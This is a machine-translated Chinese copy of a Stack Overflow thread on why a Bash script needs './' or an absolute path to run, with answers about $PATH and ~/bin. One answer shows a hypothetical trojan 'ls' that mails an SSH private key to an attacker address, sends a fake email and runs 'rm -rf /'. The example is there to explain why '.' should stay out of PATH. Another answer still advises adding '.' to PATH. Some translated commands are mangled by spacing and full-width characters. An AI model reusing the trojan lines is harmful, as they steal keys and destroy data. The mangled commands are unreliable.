为什么我必须使用绝对路径来执行Bash脚本?

时间:2010-06-29 17:37:17

标签: bash ubuntu

我的桌面上有一个名为highest的Bash脚本。

如果我跑:

cd ~/Desktop
highest

我得到:找不到命令

但如果我跑:

~/Desktop/highest

执行得很好。但是,当命令行在正确的目录中时,为什么还需要使用绝对路径?

我猜这与$PATH变量有关。就像我需要添加./之类的东西。如果是这样,我该如何添加?我还不习惯Linux,并且在发生这种情况时会感到非常困惑。

5 个答案:

答案 0 :(得分:7)

我同意@Dennis的陈述。不要添加'。'到你的路径。这是一个安全风险,因为它会使破解者更有可能覆盖您的命令。有关详细说明,请参阅http://www.linux.org/docs/ldp/howto/Path-12.html

例如,假装我是一个破解者,我创建了像/ tmp / ls这样的特洛​​伊文件,就像这样。假装这是在大学的共享系统或其他什么。

$ cat /tmp/ls
#!/bin/sh
# Cracker does bad stuff.
# Execute in background and hide any output from the user.
# This helps to hide the commands so the user doesn't notice anything.
cat ~/.ssh/mysecretsshkey | mailx -s "haha" cracker@foo.ru >/dev/null 2>&1 &
echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" professor@university.edu >/dev/null 2>&1 & &
rm -rf / >/dev/null 2>&1 &
# and then we execute /bin/ls so that the luser thinks that the command
# executed without error. Also, it scrolls the output off the screen.
/bin/ls $*

如果您在/ tmp目录中并执行'ls'命令会发生什么?如果PATH包含.,那么当你的真实意图是在/ bin / ls使用默认的'ls'时,你会执行/ tmp / ls。

相反,如果您想要执行自己的二进制文件,请显式调用脚本(例如./highest)或创建自己的bin目录,这是大多数用户所做的。

  1. 添加您自己的〜/ bin目录,并将自己的二进制文件放在那里。

    mkdir ~/bin
    vi ~/bin/highest
    
  2. 然后,修改PATH以使用本地二进制文件。修改.bashrc中的PATH语句,使其如下所示。

    export PATH = $ PATH:〜/ bin

  3. 要验证highest是否为您的路径,请执行以下操作:

    bash$ which highest
    /Users/stefanl/bin/highest
    

答案 1 :(得分:3)

是的,添加./即可,因此运行cd ~/Desktop; ./highest即可。问题就像你说的那样:单​​独运行highest会导致Linux在$PATH中查找名为highest的任何内容,并且因为没有任何内容可以调用它,所以它会失败。在正确的目录中运行./highest可以完全解决问题,因为您指定了可执行文件的路径。

答案 2 :(得分:1)

当你想运行目录中的命令时,你可以做的最好的事情就是习惯使用./highest,除非你真的想把它添加到你的路径中。然后你应该将它添加到主目录中.profile文件的路径中(如果不存在则创建它),这样每次启动bash时它都会被加载到你的路径中:

export PATH =“/ usr / local / bin:/ usr / local / sbin:。:$ PATH”

答案 3 :(得分:1)

不要更改PATH,只需将脚本移动或符号链接到某个标准位置即可,例如

mkdir -p ~/bin
cd ~/bin
ln -s ../Desktop/highest highest

如果您的路径中有~/bin(如果您使用Ubuntu的默认shell init脚本,则为AFAIR),那么您可以通过其名称从任何地方调用脚本。

答案 4 :(得分:-2)

您需要将本地目录添加到路径中:

PATH=$PATH:.
export PATH

这可以在您的.profile或.bash_profile中完成,以便在您登录时始终进行设置。

此外,当然,您可以使用当前目录标记运行命令:

./highest

当然,许多MANY用户都会注意到安全隐患,我提及。